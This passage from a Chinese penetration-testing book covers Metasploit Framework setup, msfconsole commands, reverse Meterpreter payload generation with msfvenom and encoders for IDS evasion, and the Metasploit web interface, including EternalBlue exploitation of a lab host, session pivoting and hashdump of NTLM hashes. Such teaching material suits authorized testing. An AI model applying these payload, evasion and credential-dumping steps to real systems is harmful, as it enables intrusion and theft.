现在我们已经学会了如何在*nix 系统上安装 Metasploit Framework，让我们快速看一下如何在 Windows 环境中安装 Metasploit Framework：

1. 首先，我们需要从以下 URL 下载 Windows 的 Nightly 安装程序：

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

输入此 URL 后，您应该看到以下输出：

1. 下载完成后，我们可以通过双击 MSI 文件来安装它。一个新窗口将打开，如下面的屏幕截图所示。

2. 我们需要按照标准的安装步骤（下一步，下一步，我同意，然后安装）在 Windows 上安装 Metasploit：

建议您阅读该工具的条款和条件。

安装完成后，我们仍然无法从命令提示符中运行 Metasploit，如下面的屏幕截图所示。这是因为路径变量尚未设置，因此系统不知道在执行命令时在哪里查找msfconsole二进制文件：

1. 让我们找到msfconsole二进制文件。在我们的情况下，可以在这里找到：

C:\metasploit-framework\bin

前面命令的输出可以在下面的屏幕截图中看到：

1. 现在，我们需要通过输入以下命令将此目录添加到我们的路径中：

set PATH=%PATH%;C:\metasploit-framework\bin

这可以在下面的屏幕截图中看到：

现在路径变量已经设置，我们将能够从命令提示符中启动 Metasploit：

运行上述命令将启动 Metasploit 及其控制台。现在我们已经获得了对 MSF 控制台的访问权限，让我们开始了解 Metasploit Framework 的基础知识。

开始使用 Metasploit Framework

安装完成后，我们可以继续查看 Metasploit Framework 的使用。与 Metasploit Framework 进行交互的最常见方式是通过msfconsole。控制台提供了一个非常简单的命令行，用于进行高效的测试和利用（渗透）的所有功能和选项。

使用 msfconsole 与 Metasploit Framework 进行交互

您可以以正常模式或安静模式运行 MSF 控制台。这两种模式之间唯一的区别是控制台中没有错误、警告和横幅。在正常模式下，将出现一个很酷的 MSF 横幅。在安静模式下，您可以与 MSF 控制台交互，方法是执行msfconsole -q命令：

根据您的情况和需求，还有其他可用的 MSF 控制台选项。例如，如果您想要在没有任何数据库支持的情况下运行 MSF 控制台，您可以随时执行**msfconsole -qn**命令。

如果数据库尚未初始化，则无法执行任何带有db_前缀的命令或加载任何插件：

当您尝试从控制台加载插件时，您将收到以下未初始化错误：

在这里，我们在msfconsole中使用了-x选项。正如你可能已经猜到的那样，这个开关用于在控制台内执行 MSF 支持的命令。我们还可以在控制台中执行 shell 命令，因为 Metasploit 会将这些命令传递给我们的默认 shell 以用作参数：

在上述命令中，我们从 MSF 控制台中回显了WELCOME TO METASPLOIT FRAMEWORK字符串并退出。要查看所有可用的选项，可以执行msfconsole -h命令。现在让我们来看看在 MSF 控制台中使用的最基本和最常用的命令。

MSF 控制台命令

MSF 控制台命令可以分为以下几类：

• 核心 MSF 控制台命令：这些命令是在 MSF 控制台中使用的最常见和通用的命令。

• 模块管理命令：使用这些命令管理 MSF 模块。您可以使用这些命令编辑、加载、搜索和使用 Metasploit 模块。

• MSF 作业管理命令：使用这些命令，您可以处理 Metasploit 模块作业操作，比如使用处理程序创建作业，列出后台运行的作业，杀死和重命名作业。

• 资源脚本管理命令：在使用资源脚本时，可以使用这些命令在控制台中执行脚本。您可以为执行提供一个存储的脚本文件，或者将在 MSF 控制台启动时使用的命令存储到文件中。

• 后端数据库命令：这些命令用于管理数据库；即检查 DB 连接，设置连接并断开连接，在 MSF 中还原/导入 DB，从 MSF 中备份/导出 DB，并列出与目标相关的保存信息。

• 凭据管理命令：您可以使用creds命令查看和管理保存的凭据。

• 插件命令：可以使用插件命令管理 MSF 控制台中的插件。这些命令适用于所有加载的插件。

要了解如何使用msfconsole命令，请参考以下网址：www.offensive-security.com/metasploit-unleashed/msfconsole-commands/。

MSF 控制台不仅允许我们利用其中的大量模块，还允许我们根据用户的需求自定义控制台。让我们看看如何自定义控制台。

自定义全局设置

在自定义控制台之前，我们需要了解当前（默认）应用于控制台的全局设置：

1. 当 Metasploit Framework 启动时，可以使用show options命令来完成这个操作：

1. 我们可以从这些设置中更改提示（msf文本）。要更改提示和提示字符，可以执行set Prompt和set PromptChar命令：

1. 我们甚至可以使用一些扩展格式来配置更高级的提示，如下所示：

以下是可以使用的扩展格式：

文字	描述
％D	当前目录
％U	当前用户
％W	当前工作区
％T	当前时间戳
％J	当前运行的作业数
％S	当前打开的会话数
％L	本地 IP
％H	主机名
％red	将颜色设置为红色
％grn	将颜色设置为绿色
％yel	将颜色设置为黄色
％blu	将颜色设置为蓝色
％mag	将颜色设置为洋红色
％cya	将颜色设置为青色
％whi	将颜色设置为白色
％blk	将颜色设置为黑色
％und	下划线
％bld	粗体

相同的格式也可以用于设置提示字符。

MSF 中的变量操作

Metasploit Framework 中的变量操作可以帮助用户充分利用模块的功能。作为渗透测试人员，有时我们需要扫描大量目标，并且在几乎所有的测试场景中，我们都必须设置 Metasploit 模块所需的选项。这些选项，例如远程主机 IP/端口和本地主机 IP/端口，是为正在使用的特定 Metasploit 模块设置的。我们越早学习变量操作，就能越有效地使用模块。

可以使用数据存储来实现变量操作。数据存储是一种具有以下功能的变量类型：

• 以键/值对的形式存储数据

• 使 MSF 控制台能够在模块执行时配置设置

• 使 MSF 能够将值传递给其他模块内部

数据存储由各种类使用，以保存选项值和其他状态信息。有两种类型的数据存储：

• 模块数据存储：此数据存储仅保存与加载的模块相关的信息和选项（本地声明）。在 MSF 控制台中，您可以使用set命令保存模块选项，并使用get命令获取已保存的值：

如前面的屏幕截图所示，加载了smb_version模块，并将RHOSTS选项设置为192.168.2.17。但是一旦我们卸载了模块（使用back命令），全局上就没有值来设置 RHOSTS 选项。要全局设置这些选项，我们需要使用全局数据存储。

• 全局数据存储：此数据存储将信息和选项保存到所有模块（全局声明）。在 MSF 控制台中，您可以使用setg命令保存模块选项，并使用getg命令获取：

在前面的屏幕截图中，我们将值192.168.2.17全局保存在 RHOSTS 选项中，这意味着在使用另一个模块时将设置 RHOSTS 选项。如果使用setg，我们可以始终通过使用get或getg来检索数据。

在模块中只执行set命令将显示所有已保存的可用选项（用于模块数据存储和全局数据存储）：

在删除数据存储中的值的情况下，您可以始终使用unset和unsetg命令。

注意：如果使用setg全局设置选项，则无法使用unset命令将其删除。相反，您需要使用unsetg。

探索 MSF 模块

Metasploit Framework 中提供的所有选项和模块都可以使用show命令访问。让我们来看一下：

1. 要查看此命令的所有有效参数，您需要在 MSF 控制台中执行show -h命令，如下所示：

1. 要显示 Metasploit Framework 中可用的辅助功能，执行show auxiliary命令，如下所示：

1. 相同的命令用于列出其他模块和特定于模块的参数。或者，您可以始终按两次键盘上的Tab按钮以查看show命令的可用参数：

1. 对于特定于模块的参数，只需加载要使用的模块，然后在其中执行show命令。在这种情况下，我们使用了smb_version辅助模块，并按两次Tab按钮以查看show命令可用的所有参数：

1. 使用show evasion命令可以查看此特定模块可用的所有规避选项：

注意：这些选项通常用于绕过网络过滤终端，如入侵检测/预防系统（IDS/IPS）。

在 MSF 中运行 OS 命令

Metasploit Framework 的一个功能是我们可以从控制台执行普通的 shell 命令。您可以执行任何由您的 shell 支持的 shell 命令（bash/sh/zsh/csh）。在这种情况下，我们从控制台执行了whoami && id命令。命令已执行，并且结果显示在控制台本身中，如下面的屏幕截图所示：

我们还可以使用控制台中的交互式 bash 脚本，使用/bin/bash -i命令或者/bin/bash（-i开关用于以交互模式运行 bash）：

注意：要在 Windows 中获得交互式命令提示符，请在控制台中执行cmd.exe。

在 Metasploit Framework 中设置数据库连接

Metasploit Framework 最酷的功能之一是使用后端数据库来存储与目标相关的所有内容。在运行 MSF 时，按照以下步骤设置数据库：

1. 使用db_status命令从控制台检查数据库是否连接到 MSF，如下所示：

1. 如前面的屏幕截图所示，数据库尚未连接。我们可以通过使用数据库配置文件、一行命令或使用 RESTful HTTP API 数据服务（MSF 5 的新功能）来连接到数据库。默认情况下，不会有database.yml文件，但是您可以从database.yml.example文件中复制内容。您可以像这样编辑文件：

注意：如果您不初始化和安装数据库，则此方法将无法工作。有关更多信息，请访问fedoraproject.org/wiki/Metasploit_Postgres_Setup。

1. 编辑并保存文件后，可以在db_connect命令中使用-y开关连接到数据库：

1. 让我们再次检查状态：

正如你所看到的，控制台现在已连接到后端数据库。

在 MSF 中加载插件

插件是 Metasploit Framework 中的扩展功能。它们用于通过利用 Ruby 语言的灵活性来扩展 MSF 的范围。这允许插件几乎可以做任何事情，从构建新的自动化功能到提供数据包级内容过滤以绕过 IDS/IPS。插件还可以用于集成第三方软件，如 Nessus、OpenVAS 和 Sqlmap 到框架中。按照以下步骤：

1. 要加载插件，您需要使用load命令：

1. 默认情况下，Metasploit 带有一些内置插件。在使用load命令后，可以通过按两次Tab按钮找到这些插件：

注意：所有可用的内置插件都可以在此处找到：github.com/rapid7/metasploit-framework/tree/master/plugins

1. 通过在控制台中执行**load openvas**命令来加载 OPENVAS 插件。此插件将在后续章节中介绍：

1. 插件成功加载后，您可以在控制台中执行**help**命令，并查找“OpenVAS Commands”以查看此特定插件的所有支持命令：

您可以通过将.rb插件文件复制到<MSF_INSTALL_DIR>/plugins/目录中，并使用插件名称执行load命令来加载自定义插件。

使用 Metasploit 模块

Metasploit 模块非常易于使用。简而言之，任何人都可以按照此过程熟悉模块：

在这种情况下，让我们使用smb_version辅助模块：

1. 通过执行use auxiliary/scanner/smb/smb_version命令，我们已经在控制台中加载了模块：

1. 现在，我们需要根据需要配置模块。可以使用show options命令查看smb_version的可用选项：

1. 我们可以使用set/setg命令来配置模块选项。smb_version的高级选项也可用，并且可以通过使用show advanced命令来显示：

1. 为了规避 IDS/IPS 端点，您可以为smb_version模块设置规避选项。使用show evasion命令列出此模块的所有支持的规避选项：

1. 现在配置完成后，您可以通过执行show missing命令来最后一次检查缺少的选项，然后运行模块：

1. 在这种情况下，我们将在192.168.2.17中设置 RHOSTS，然后通过使用run命令或execute命令来执行模块：

注意：除非已配置了所有必需的设置，否则模块将不会运行。

在 MSF 中搜索模块

在 Metasploit 中进行搜索非常容易。search命令接受用户的字符串值。如下截图所示，搜索windows字符串将列出所有用于 Windows 操作系统的模块：

Metasploit 搜索还允许我们根据模块类型进行搜索。例如，键入**search windows type:exploit**将显示所有 Windows 漏洞利用的列表。同样，我们可以定义 CVE。要搜索 2018 年发布的 Windows 漏洞利用，可以键入search windows type:exploit cve:2018，如下截图所示：

接下来，我们将学习如何在 MSF 中检查主机和服务。

在 MSF 中检查主机和服务

到目前为止，我们已经介绍了msfconsole的基础知识。现在，让我们继续学习如何管理主机和服务：

1. 要查看已添加的所有主机的列表，请使用hosts命令：

1. 要添加新主机，我们可以使用hosts -a <IP>命令，如下截图所示：

1. 要删除主机，我们使用hosts -d <IP>命令，如下截图所示：

同样，services命令允许我们查看已添加到 Metasploit 的所有主机上可用的所有服务的列表。让我们来看一下：

1. 首先，我们需要使用services命令：

1. 要查看单个主机的服务列表，我们可以使用services <IP>命令，如下面的屏幕截图所示：

我们不能一次添加多个端口。这样做会引发错误-需要精确一个端口-如前面的屏幕截图所示。

Metasploit 还允许我们使用services -a -p <port number>命令手动添加自定义服务，如下面的屏幕截图所示：

接下来，让我们看看使用 MSF 进行 Nmap 扫描。

使用 MSF 进行 Nmap 扫描

一旦我们将主机添加到 Metasploit 中，下一步就是扫描。Metasploit 具有 Nmap 的内置包装器，它在 Metasploit 控制台中为我们提供了与 Nmap 相同的功能。这个包装器的好处是它默认将输出保存在数据库中。

要对主机运行扫描，我们可以使用db_nmap <IP>命令。在这里，我们使用了--open标志来查看只打开的端口。-v用于详细，-Pn用于执行无 ping 扫描，-sV用于执行服务扫描，-sC用于针对发现的端口运行脚本扫描：

以下屏幕截图显示了在主机上运行的扫描的输出：

Metasploit 还允许我们使用db_import将由 Nmap 完成的外部扫描导入其数据库：

目前，MSF 支持将数据导入其数据库的以下格式：Acunetix、Amap Log、Amap Log -m、Appscan、Burp Session XML、Burp Issue XML、CI、Foundstone、FusionVM XML、Group Policy Preferences Credentials、IP Address List、IP360 ASPL、IP360 XML v3、Libpcap Packet Capture、Masscan XML、Metasploit PWDump Export、Metasploit XML、Metasploit Zip Export、Microsoft Baseline Security Analyzer、NeXpose Simple XML、NeXpose XML Report、Nessus NBE Report、Nessus XML（v1）、Nessus XML（v2）、NetSparker XML、Nikto XML、Nmap XML、OpenVAS Report、OpenVAS XML、Outpost24 XML、Qualys Asset XML、Qualys Scan XML、Retina XML、Spiceworks CSV Export 和 Wapiti XML。

在 MSF 中设置有效载荷处理

在启动模块之前，我们需要设置处理程序。这个处理程序是一个存根，用于处理在 Metasploit Framework 之外启动的利用程序：

1. 通过输入use exploit/multi/handler命令加载处理程序模块：

1. 接下来，我们使用show options命令查看可用选项，如下面的屏幕截图所示：

正如我们所看到的，选项目前为空。一旦我们定义了有效载荷，这些选项就会加载。例如，我们将在这里使用windows/x64/meterpreter/reverse_tcp有效载荷，并设置有效载荷的标准选项，如LHOST和LPORT。stageencoder和enablestageencoding选项被设置为对处理程序发送的第二阶段进行编码：

首先，在选择编码器之前，我们设置LHOST和LPORT，该编码器将使用shikata_ga_nai编码器对分段器进行编码。我们使用分段器编码机制的原因是为了通过对分段器进行编码来绕过 IPSes/DPSes，从而在飞行中更改签名。

我们还需要通过将其值设置为true来启用阶段编码。此选项将使用我们选择的编码器启用第二阶段编码过程。设置了stageencoding选项后，执行run -j命令以在后台启动处理程序。

运行处理程序的另一种方法是使用控制台中可用的handler命令，并向其传递参数：

因此，用于执行具有所有先前讨论的设置的处理程序的一行命令将是handler -H <IP> -P <Port> -e <encoder> -p <payload>，如下图所示：

接下来，我们将看一下 MSF 负载生成。

MSF 负载生成

负载生成是 Metasploit Framework 中最有用的功能之一。从简单的 shellcode 生成到完全武装的 EXE/DLL 文件，Metasploit 可以在一条命令中生成。负载可以通过两种方式生成。

使用 msfconsole 生成 MSF 负载（一行命令）

通过使用 MSF 控制台并执行负载生成命令，您可以生成任何 MSF 支持的负载。使用此技术的一个优点是您不必单独启动负载处理程序。这可以通过一条命令完成。要生成负载并启动处理程序，请执行以下代码：

'msfconsole -qx "use <MSF supported payload>; set lhost<IP>; set lport <Port>; generate -f<Output File Format> -o<payload filename>; use exploit/multi/handler; set payload<MSF supported payload>; set lhost <IP>; set lport <Port>; run -j"'

以下屏幕截图显示了上述命令的输出：

上述命令将生成reverse_https Meterpreter 负载。列出它以确认生成的负载，并在端口9090上启动处理程序以进行传入连接。生成负载的另一种方法是使用 MSFvenom。

在上述命令中，使用-q开关以安静模式启动 MSF，-x在启动后在控制台中执行命令。

使用 msfvenom 生成 MSF 负载

MSFvenom 是一个内置工具，可以生成和混淆负载，无需启动 MSF。执行msfvenom -p <MSF 支持的负载> lhost=<IP> lport=<PORT> -f <输出文件格式> -o <负载文件名>命令以生成 EXE 格式的reverse_https Meterpreter 负载并保存文件：

在这两种情况下，我们使用了ls -alh https_2.exe。

现在可以将此负载上传/执行到受害者系统上，以通过安全的 HTTPS 隧道与我们建立反向 Meterpreter 连接。

总结

在本章中，我们学习了 Metasploit Framework 的基本术语，以及如何在*nix 和基于 Windows 的系统上安装和设置它。然后，我们看了 MSF 的用法。我们加载了模块/辅助工具，设置了目标值，并对主机运行了它们。最后，我们学习了如何使用 MSFvenom 生成用于利用目的的负载。

在下一章中，我们将学习如何使用 Metasploit，但使用 Web 界面用户交互（UI）选项。这对于那些对命令行界面（CLI）不太了解的人来说真的很有帮助。

问题

1. Metasploit Framework 可以免费使用吗？

2. 我可以加密我的负载以逃避反病毒软件吗？

3. 我正在使用 MySQL 作为我的渗透测试后端。我可以将 MySQL 或任何其他非 PostgreSQL 数据库与 Metasploit 集成吗？

4. 我有多个安装了 Metasploit Framework 的系统。我可以为每个 Metasploit 实例集中数据库吗？

进一步阅读

以下链接将帮助您了解更多关于 Metasploit 的信息，所有这些信息都来自其官方博客和文档：

• www.offensive-security.com/metasploit-unleashed/

• resources.metasploit.com/

• metasploit.help.rapid7.com/docs

第四章：Metasploit Web 界面

在上一章中，我们学习了 Metasploit Framework 的基础知识，并查看了一些我们可以在 Metasploit 中使用的功能。在本章中，我们将专注于 Metasploit Framework 的 Web 界面。该界面确实帮助那些对命令行界面（CLI）经验较少的用户。从侦察到报告，该界面让我们可以使用单个界面处理渗透测试的所有阶段。在本章中，我们将学习如何安装和使用 Metasploit Web 界面。稍后，我们将学习如何使用 Web 界面执行侦察并访问 Meterpreter 有效载荷。

在本章中，我们将涵盖以下主题：

• Metasploit Web 界面简介

• 安装和设置 Web 界面

• 开始使用 Metasploit Web 界面

技术要求

以下是本章所需的技术要求：

• 具有 Metasploit Web 界面的 Metasploit 社区版（CE）

• *nix 系统或 Microsoft Windows 系统

Metasploit Web 界面简介

Metasploit Web 界面是一个基于浏览器的界面，提供了对导航菜单的轻松访问，并允许您更改任务的配置页面。您可以在 Metasploit Web 界面中执行在 Metasploit Framework（MSF）中执行的每个任务，从使用辅助程序执行发现扫描到弹出 Meterpreter。

对于那些更喜欢使用图形用户界面（GUI）工具进行渗透测试的人，可以使用 Metasploit Web 界面。Web 界面是 Metasploit CE（免费）、Metasploit Pro（付费）、Metasploit Express（付费）和 Nexpose Ultimate（付费）的一部分。与 Metasploit 的付费版本中提供的更高级功能不同，免费的 CE 是最基本的。

安装和设置 Web 界面

Metasploit Web 界面的安装过程非常简单。

您可以在www.rapid7.com/products/metasploit/download/community/下载社区版。

开始安装过程，您需要填写下载 Metasploit CE 所需的信息。之后，您将被重定向到下载页面，如下面的截图所示：

注意：如果您不想填写表格，您可以打开一个直接链接来下载 Metasploit Web 界面，网址为www.rapid7.com/products/metasploit/download/community/thank-you。

您还可以从 Rapid7 在 GitHub 上的存储库下载，但您将无法获得激活密钥。

在 Windows 上安装 Metasploit 社区版

要在 Windows 上成功安装，请按照以下步骤进行：

1. 首先，请确保您已在系统上禁用了反病毒软件（AV）和防火墙。 AV 通常会检测并标记 Metasploit CE 中的某些文件为恶意文件：

1. 此外，请确保如果您在 Windows 上运行，请将 Metasploit 安装文件夹放入 AV 和防火墙的例外列表中。这样，您生成的有效载荷将不受 AV 的影响。

1. 由于 Metasploit CE 也可以通过 Web 界面（通过 SSL）访问，请确保为 SSL 证书生成过程提供正确的服务器名称（主机名）：

1. 安装完成后，您可以检查C:\metasploit目录中的所有文件：

1. 在您可以开始使用 Web 界面之前，您需要初始化用户帐户。如果尝试使用主机名而不是 localhost 访问 Web 服务器，将收到警告消息。要继续，请按照给定的说明进行：

1. 要初始化用户帐户，您需要在C:\metasploit目录中执行createuser批处理脚本：

1. 现在只剩下最后一步了。创建用户后，您将被重定向到激活页面。要激活 CE 实例，您需要获取产品密钥，该密钥可以从注册时使用的注册电子邮件 ID 中检索（这就是注册重要的原因-这样您就可以通过电子邮件接收激活代码）：

1. 使用您的电子邮件中的产品密钥激活 Metasploit CE：

成功激活后，您将被重定向到项目列表页面：

在您可以开始使用 Metasploit Web 界面之前，您需要了解界面本身。

注意：试用密钥无法重复使用，并将在 14 天后过期。

在 Linux/Debian 上安装 Metasploit Community Edition

要在 Linux/Debian 上成功安装，请按照以下步骤进行：

1. 下载 Metasploit CE Linux 安装程序。您需要更改安装程序的权限为execute，可以使用chmod命令完成：

1. 运行 Linux 安装程序，并按屏幕上显示的说明进行操作。安装完成后，将显示 Web 界面的 URI：

1. 您需要访问 URI 才能访问 Web 界面。默认情况下，URI 将是https://localhost:3790/：

1. 一旦初始化过程和设置完成（通常需要几分钟），屏幕上将显示警告消息。按照屏幕上的说明通过诊断 shell 创建用户：

1. 在执行诊断 shell 后，Metasploit 环境将为您的 shell 设置，并且您可以执行createuser脚本。您还可以看到 Web 界面，在那里您将找到一个新用户设置页面。填写用户详细信息以创建帐户：

1. 从您的电子邮件 ID 获取产品密钥并激活 CE 以继续：

注意：不支持 32 位 Linux（包括 Kali）和 macOS。

接下来，让我们开始使用 Metasploit Web 界面。

开始使用 Metasploit Web 界面

Metasploit Web 界面具有非常易于使用的界面，可以帮助对 CLI 经验较少的测试人员。在我们开始测试之前，让我们了解界面。

界面

Metasploit Web 界面可以分为以下菜单：

• 主菜单

• 项目标签栏

• 导航面包屑

• 任务栏

让我们逐个查看这些菜单。

主菜单

主菜单可以在页面顶部看到。在主菜单中，您可以从项目菜单访问项目设置，从帐户菜单访问帐户设置，并从管理菜单管理管理任务。

任何警报都可以从通知中心查看：

让我们详细看一下它们：

• 项目菜单：用于从项目菜单创建、编辑、打开和管理项目。

• 帐户菜单：用于管理帐户信息，例如更改密码、设置时区和联系信息。

• 管理菜单：用于进行任何管理更改，如更新系统、许可密钥、编辑用户帐户和配置全局设置。

• 通知中心：在通知中心，您将找到所有警报，表示任务已完成或软件更新已提供。单击警报将显示下拉菜单，其中包含所有项目的最新警报。

接下来，我们将看一下项目选项卡栏。

项目选项卡栏

项目选项卡栏是位于主菜单正下方的选项卡菜单。可以从该选项卡菜单管理正在运行的项目、漏洞分析、已打开的 Meterpreter/shell 会话、网络钓鱼活动、Web 应用程序测试、模块、凭证、报告、导出和任务：

让我们详细看一下它们：

• 概述：显示高级图形信息，如发现的主机和服务数量以及会话和凭证数量。在运行扫描或导入主机之前，这些信息不会显示。

• 分析：此选项卡允许我们将大型网络/主机分类为组，这样我们就可以更容易地管理和利用它们。

• 会话：会话选项卡显示了我们在目标上的活动会话。

• 活动：此选项卡允许我们在一组目标上创建、管理和运行社会工程活动，包括电子邮件、网页、便携文件等。

• Web 应用程序：这是专业版功能，允许我们扫描 Web 应用程序并识别漏洞。

• 模块：此选项卡允许我们搜索可用模块、查看它们的信息，并在目标上执行它们。

• 凭证：此选项卡允许我们添加/编辑或删除通过利用收集到的凭证。

• 报告：这也是专业版功能。此选项卡允许我们查看并创建我们的发现报告。

• 导出：此选项卡允许我们将数据（如凭证）导出为多种格式，如 XML 和 ZIP。

• 任务：此选项卡允许我们管理工具当前正在运行的任务的状态。

接下来，我们将看一下导航面包屑。

导航面包屑

您可以使用导航面包屑来确定项目中的当前位置：

这可以帮助我们更高效地工作。

任务栏

您可以使用任务栏快速执行列出的任务，如下图所示：

接下来，我们将看一下项目创建。

项目创建

就像 Metasploit 使用工作空间来组织已收集的数据一样，CE 使用项目来分隔数据集。默认情况下，CE 内部有一个默认项目。如果您不创建自定义项目，您所做的一切都将保存在此项目下。

默认项目

每当我们使用 Web 界面时，使用的第一个项目将是“默认”项目。该项目将显示我们扫描的主机数量、维护的会话数量以及在“默认”项目处于活动状态时分配给主机的任务数量。下图显示了名为“默认”的列出项目：

接下来，让我们学习如何创建我们自己的自定义项目。

创建自定义项目

Metasploit CE 还允许我们创建自己的自定义项目：

1. 这可以通过单击“项目”菜单并选择“新建项目”来完成。这将带我们到下图所示的页面。在这里，我们将指定项目详细信息，如项目名称、描述和网络范围：

1. 单击“创建项目”按钮后，您将进入项目仪表板页面。在这里，您将看到不同的部分，显示迄今为止执行的任务的摘要及其结果：

1. 返回主页，您应该能够看到两个项目。一个称为default，另一个称为Web Exploitation Project，这是我们刚刚创建的：

接下来，让我们开始枚举。

目标枚举

现在我们已经创建了我们的项目，让我们从第一步开始-枚举。执行枚举有两种方法：使用 Metasploit 的内置扫描模块，或者导入由 Nmap 或其他 MSF 支持的工具完成的扫描。

使用内置选项

Metasploit web 界面为我们提供了一些内置的选项/模块，我们可以使用这些选项/模块对目标系统执行枚举。按照以下步骤使用内置选项执行枚举：

1. 要使用内置选项，请从项目仪表板单击扫描按钮，如下截图所示：

1. 在下一页中，我们输入要扫描的 IP 地址。我们还为扫描定义了高级选项，例如要排除的端口和自定义范围：

1. 单击“显示高级选项”按钮可以设置扫描的一些扩展功能：

1. 一切设置好后，您可以单击“启动扫描”按钮。该工具将以您指定的选项在后台启动 Nmap 扫描，如下截图所示：

1. 您可以通过单击项目菜单 -> [工作空间] -> 主机来查看主机：

如下截图所示，扫描的主机已添加到主机列表中：

1. 要查看扫描主机上运行的服务，您可以单击上一步中显示的主机，或者您可以打开项目菜单 -> [工作空间] -> 服务：

在两种情况下，您都可以看到扫描主机上运行的服务。但是，不建议通过 Web 界面执行扫描，因为它使用的是相当古老的 Nmap 版本 4。

导入扫描结果

或者，我们也可以使用第三方工具执行枚举。然后，可以将工具的结果导入到 MSF 中。按照以下步骤导入扫描结果：

1. 在使用 Metasploit 进行利用之前，最好先进行端口扫描和服务枚举。您可以使用 Nmap 单独进行扫描，并使用-oX开关以 XML 格式保存扫描结果，而不是使用 Metasploit 的内置端口扫描程序：

1. 就像在msfconsole中使用的db_import命令一样，您可以通过单击导入按钮在 Metasploit web 界面中使用相同的功能：

1. 单击导入按钮后，您将被重定向到导入数据页面，在那里您将有选项导入您的数据。

2. 您可以从 Nexpose、Sonar（Sonar 项目是 Rapid7 进行的安全研究项目，通过不同的服务和协议在全球范围内进行互联网调查，以获得有关常见漏洞全球暴露情况的见解）和第三方扫描工具（如 Acunetix、Nessus、Nmap 等）支持的文件中导入数据。在这种情况下，我们进行了全端口扫描，并将 Nmap 结果以 XML 格式保存：

1. 作为一个可选功能，您可以启用自动标记，根据其操作系统，它将主机标记为os_windows、os_linux和os_unknown。单击“导入数据”，扫描将被导入：

1. 您可以返回到项目概述菜单，查看更新后的项目空间：

1. 如前面的屏幕截图所示，添加了一个新主机，上面运行了 15 个服务。单击检测到的 15 个服务的超链接，将显示服务页面。

2. 您可以通过单击项目菜单 -> [工作空间] -> 服务来查看相同的页面：

在下一节中，您将了解用于进一步枚举和利用目标主机的 Metasploit 模块。

注意：以下是所有支持的第三方扫描报告，可以导入：Foundstone Network Inventory XML, Microsoft MBSA SecScan XML, nCircle IP360 XMLv3 and ASPL, NetSparker XML, Nessus NBE, Nessus XML v1 and v2, Qualys Asset XML, Qualys Scan XML, Burp Sessions XML, Burp Issues XML, Acunetix XML, AppScan XML, Nmap XML, Retina XML, Amap Log, Critical Watch VM XML, IP Address List, Libpcap Network Capture, Spiceworks Inventory Summary CSV, 和 Core Impact XML.

模块选择

Metasploit CE 中使用的模块与 MSF 中使用的模块相同。根据情况，我们可以使用辅助模块、利用模块或后利用模块。让我们先看看辅助模块。

辅助模块

在这种情况下，我们有一个目标主机，IP 为192.168.2.17。您可以在以下屏幕截图中看到在此主机上运行的服务：

从网络渗透测试的角度来看，攻击者肯定会研究端口445/tcp（SMB）以进行利用，因此让我们使用 SMB 模块：

1. 点击项目选项卡中的模块选项卡以显示模块页面：

1. 对于 SMB，您可以使用 SMB 版本检测辅助模块，可以使用搜索栏搜索：

1. 选择模块后，将显示模块选项页面。您可以设置目标地址，以及其他一些选项（如果需要）：

1. 点击“运行模块”（如前面的屏幕截图所示）将执行该模块，并显示模块的输出：

1. 您可以通过转到项目选项卡 -> 分析 -> 注释来确认模块找到的结果：

枚举目标后，您可以使用利用模块。

使用利用模块

要使用利用模块，请按照以下步骤进行：

1. 点击项目选项卡上的模块选项卡，搜索EternalBlue exploit。这是一个非常可靠的利用，可以在这种情况下使用：

1. 在这里，您可以设置目标地址和有效载荷选项。执行利用后，有效载荷（比如说，Meterpreter）将被注入内存，并且将打开一个 Meterpreter shell：

1. 点击“运行模块”将启动利用模块。结果将显示在屏幕上，并为任务分配一个任务 ID：

成功利用后，您将收到有关新打开会话的通知。

会话交互

成功利用后，会打开一个会话，并且您将在项目选项卡上收到通知：

1. 要查看已打开的会话，您需要点击项目选项卡中的会话选项卡：

1. 与任何打开的会话进行交互，只需点击“会话[ID]”，如前面的屏幕截图所示。MSF Web 界面支持的会话交互功能可以在以下屏幕截图中看到：

以下是您可以用于会话交互的选项：

• 收集系统数据：此选项将允许您收集系统证据和敏感数据，如密码、系统信息、屏幕截图等。此功能仅在 Metasploit Pro 版本中可用。

• 虚拟桌面：此选项将注入虚拟网络计算（VNC）DLL，并在给定端口上启动 VNC 服务：

您可以通过此端口与目标系统上运行的桌面进行交互：

注意：用户将收到 VNC 连接的通知。

• 访问文件系统：使用此选项，您可以浏览文件系统。您甚至可以上传、下载和删除文件：

• 搜索文件系统：如果您想要搜索特定文件或执行通配符搜索，可以使用此选项：

• 命令行 Shell：如果您想要访问 Meterpreter 命令行 Shell，可以单击此按钮打开命令行 Shell：

您可以在给定的输入框中执行命令。结果将显示如下：

此窗口仅支持 Meterpreter 命令。可以使用shell命令运行系统命令：

• 创建代理枢纽：创建代理枢纽与添加枢纽路由相同：

您可以使用此选项，如果您想要连接到内部网络进行进一步的利用：

• 创建 VPN 枢纽：此选项将允许您在受损的计算机中创建一个加密的二层隧道，然后通过目标机器路由任何网络流量。这将授予您完整的网络访问权限，就像您在本地网络上一样，没有周边防火墙来阻止您的流量。

• 更改传输：要更改会话的传输机制，可以使用此选项，如下图所示：

首先，您需要为特定传输启动处理程序；否则，该过程将失败。

• 终止会话：一旦使用此选项，会话将被终止。要与会话交互，您将需要重新开始利用过程。

接下来，让我们看看 Web 界面中可用的后渗透模块。

后渗透模块

对于后渗透，您可以使用界面中可用的后渗透模块，如下图所示：

1. 对于前面截图中显示的目标，让我们使用hashdump后渗透模块。要使用此模块，只需检查模块需要执行的会话：

1. 单击“运行模块”以执行hashdump模块。此模块将从 SAM 数据库中转储 NTLM 哈希。此模块将被分配一个新的任务 ID。您可以在任务栏中检查任务：

1. 提取的哈希可以在项目选项卡栏的凭据菜单中查看：

您可以使用不同的后渗透模块，具体取决于情况。

总结

在本章中，我们讨论了 MSF 的 Web 界面。我们首先安装了 Metasploit 并设置了其配置。然后，我们继续讨论模块，如创建项目和从不同工具导入扫描结果。之后，我们查看了辅助和利用，然后学习了 Metasploit Web 界面中可用的后渗透模块。

在下一章中，我们将学习如何使用 Metasploit 对不同类型的目标、协议和端口进行侦察。

问题

1. Metasploit web 界面具有哪些功能？

2. 在我的组织中，我必须在使用的任何 Web 服务器上使用公司的 SSL 证书。我可以为 Metasploit web 界面提供自定义 SSL 证书吗？

3. 哪些 Web 浏览器与 Metasploit web 界面兼容？

4. Metasploit 支持 RESTful API 吗？

5. Metasploit web 界面支持自定义报告吗？

进一步阅读

有关 Web 界面的更多信息，请访问官方文档页面metasploit.help.rapid7.com/docs/metasploit-web-interface-overview。

